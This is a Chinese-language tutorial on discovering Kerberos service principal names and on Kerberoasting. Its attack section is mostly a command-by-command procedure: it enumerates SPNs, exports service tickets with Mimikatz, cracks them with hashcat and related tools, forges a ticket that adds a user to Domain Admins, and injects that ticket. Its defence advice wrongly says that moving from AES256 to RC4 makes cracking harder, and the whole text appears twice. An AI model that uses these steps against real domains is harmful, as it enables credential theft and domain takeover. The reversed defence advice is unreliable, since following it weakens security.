SPN注册发现与利用方法
字数 1399 2025-08-20 18:17:59

SPN注册发现与利用方法详解

基本概念

SPN(Service Principal Names,服务主体名称)是服务实例(如HTTP、SMB、MySQL、SQLServer等)的唯一标识符。Kerberos认证过程使用SPN将服务实例与服务登录账户相关联。

SPN关键特性

  • 使用Kerberos协议认证服务时必须正确配置SPN
  • 整个林或域中安装的每个服务实例都必须有自己的SPN
  • 一个服务实例可以有多个SPN(如果客户端使用多个名称进行身份验证)
  • 一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户

SPN分类

  1. 注册在域用户账户下:当服务权限为域用户时
  2. 注册在机器账户下:当服务权限为Local System或Network Service时

SPN语法结构

SPN由以下元素组成:

<service class>/<host>:<port>/<service name>
  • 必须元素

    • <service class>:服务名称标识(如WWW、MySQL、SMTP、MSSQL等)
    • <host>:服务所在主机名(FQDN或NetBIOS名)
  • 可选元素

    • <port>:服务端口(默认端口可省略)
    • <service name>:服务名称(可省略)

SPN注册方法

使用setspn工具注册SPN(需要root或域管理员权限):

setspn -S MySQL/win7-test.hacke.testlab:3306/MySQL Al1ex

查看用户SPN:

setspn -L Al1ex

删除SPN:

setspn -D MySQL/win7-test.hacke.testlab:3306/MySQL Al1ex

SPN发现技术

1. 使用setspn工具

  • 查看所有SPN:

    setspn -Q */*
    
  • 查看指定域的SPN:

    setspn -T hacke.testlab -Q */*
    
  • 查找域内重复SPN:

    setspn -X
    
  • 查找用户/主机名SPN:

    setspn -L username/hostname
    

2. 使用Empire框架

usemodule situational_awareness/network/get_spn

3. 使用Impacket工具包

./GetUserSPNs.py -dc-ip 192.168.188.2 hacke.testlab/testuser

4. 使用PowerSploit框架

Import-Module .\PowerView.ps1
Get-NetUser -SPN

5. 使用PowerShellery脚本

Import-Module .\Get-SPN.ps1
Get-SPN -type service -search "*"

表格形式展示:

Get-SPN -type service -search "*" -List yes | Format-Table

获取UserSID、服务和实际用户:

Import-Module .\Get-DomainSpn.psm1
Get-DomainSpn

6. 使用kerberoast工具包

PowerShell脚本:

powershell_import /root/GetUserSPNs.ps1

VBS脚本:

cscript.exe .\GetUserSPNs.vbs

7. 使用PowerShell AD Recon

扫描特定服务:

# MSSQL服务
Import-Module .\Discover-PSMSSQLServers.ps1
Discover-PSMSSQLServers

# Exchange服务
Import-Module .\Discover-PSMSExchangeServers.ps1
Discover-PSMSExchangeServers

# 所有SPN信息
Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices

8. 使用RiskySPN工具

Import-Module .\Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts -Domain "hacke.testlab"

SPN利用方法

Kerberos认证流程概述

  1. 用户发送AS-REQ数据包给KDC进行身份认证
  2. KDC验证凭据,返回TGT(票据授予票据)
  3. 用户发起TGS请求,包含TGT和所请求服务的SPN
  4. TGS创建服务票据,使用服务账户凭据加密
  5. 用户收到加密服务票据的TGS响应
  6. 服务票据转发给目标服务,使用服务账户凭据解密

攻击思路

  1. 查询SPN,找到有价值的SPN(注册在域用户账户下且权限高)
  2. 请求TGS
  3. 导出TGS
  4. 暴力破解

攻击步骤

常规实现方法

  1. 查询SPN:

    setspn -T hacke.testlab -Q */*
    
  2. 请求TGS:

    Add-Type -AssemblyName System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/win08-server.hacke.testlab"
    
  3. 导出TGS(使用Mimikatz):

    kerberos::list /export
    
  4. 暴力破解:

    python3 tgsrepcrack.py wordlist.txt 1-40810000-testuser@MSSQLSvc~win08-server.hacke.testlab-HACKE.TESTLAB.kirbi
    
  5. 重写Ticket:

    python3 kerberoast.py -p "1234Rewq!@#$" -r 1-40810000-testuser@MSSQLSvc~win08-server.hacke.testlab-HACKE.TESTLAB.kirbi -w sql.kirbi -u 500
    
  6. 添加用户到域管理员:

    python3 kerberoast.py -p "1234Rewq!@#$" -r 1-40810000-testuser@MSSQLSvc~win08-server.hacke.testlab-HACKE.TESTLAB.kirbi -w sql.kirbi -g 512
    
  7. 使用Mimikatz注入:

    kerberos::ptt sql.kirbi
    

使用Rubeus工具

Rubeus.exe kerberoast

使用hashcat破解:

hashcat -m 13100 /root/hash.txt /root/pass.txt --force

使用PowerShell方法1

Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat > 1.txt

使用hashcat破解:

hashcat -m 13100 /root/hash.txt /root/pass.txt --force

使用PowerShell方法2(autokerberoast.ps1)

  • 查看所有SPN信息:

    List-UserSPNs
    
  • 查看与域管理员关联的SPN:

    List-UserSPNs -GroupName "Domain Admins"
    
  • 查看指定域名的SPN:

    List-UserSPNs -Domain "hacke.testlab"
    
  • 获取所有票证:

    Invoke-AutoKerberoast
    
  • 从Ticket中提取hash:

    python autoKirbi2hashcat.py hash.txt
    

使用Empire框架

usemodule credentials/invoke_kerberoast
set Agent [AgentName]
execute

防御措施

  1. 将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,增加破解难度
  2. 确保服务密码本身为强密码
  3. 定期审计SPN配置
  4. 监控异常SPN查询行为
  5. 限制普通用户注册SPN的权限

通过以上措施可以有效防御SPN相关的攻击,特别是Kerberoasting攻击。

SPN注册发现与利用方法详解 基本概念 SPN(Service Principal Names,服务主体名称)是服务实例(如HTTP、SMB、MySQL、SQLServer等)的唯一标识符。Kerberos认证过程使用SPN将服务实例与服务登录账户相关联。 SPN关键特性 使用Kerberos协议认证服务时必须正确配置SPN 整个林或域中安装的每个服务实例都必须有自己的SPN 一个服务实例可以有多个SPN(如果客户端使用多个名称进行身份验证) 一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户 SPN分类 注册在域用户账户下 :当服务权限为域用户时 注册在机器账户下 :当服务权限为Local System或Network Service时 SPN语法结构 SPN由以下元素组成: 必须元素 : <service class> :服务名称标识(如WWW、MySQL、SMTP、MSSQL等) <host> :服务所在主机名(FQDN或NetBIOS名) 可选元素 : <port> :服务端口(默认端口可省略) <service name> :服务名称(可省略) SPN注册方法 使用 setspn 工具注册SPN(需要root或域管理员权限): 查看用户SPN: 删除SPN: SPN发现技术 1. 使用setspn工具 查看所有SPN: 查看指定域的SPN: 查找域内重复SPN: 查找用户/主机名SPN: 2. 使用Empire框架 3. 使用Impacket工具包 4. 使用PowerSploit框架 5. 使用PowerShellery脚本 表格形式展示: 获取UserSID、服务和实际用户: 6. 使用kerberoast工具包 PowerShell脚本: VBS脚本: 7. 使用PowerShell AD Recon 扫描特定服务: 8. 使用RiskySPN工具 SPN利用方法 Kerberos认证流程概述 用户发送AS-REQ数据包给KDC进行身份认证 KDC验证凭据,返回TGT(票据授予票据) 用户发起TGS请求,包含TGT和所请求服务的SPN TGS创建服务票据,使用服务账户凭据加密 用户收到加密服务票据的TGS响应 服务票据转发给目标服务,使用服务账户凭据解密 攻击思路 查询SPN,找到有价值的SPN(注册在域用户账户下且权限高) 请求TGS 导出TGS 暴力破解 攻击步骤 常规实现方法 查询SPN: 请求TGS: 导出TGS(使用Mimikatz): 暴力破解: 重写Ticket: 添加用户到域管理员: 使用Mimikatz注入: 使用Rubeus工具 使用hashcat破解: 使用PowerShell方法1 使用hashcat破解: 使用PowerShell方法2(autokerberoast.ps1) 查看所有SPN信息: 查看与域管理员关联的SPN: 查看指定域名的SPN: 获取所有票证: 从Ticket中提取hash: 使用Empire框架 防御措施 将默认的AES256_ HMAC加密方式改为RC4_ HMAC_ MD5,增加破解难度 确保服务密码本身为强密码 定期审计SPN配置 监控异常SPN查询行为 限制普通用户注册SPN的权限 通过以上措施可以有效防御SPN相关的攻击,特别是Kerberoasting攻击。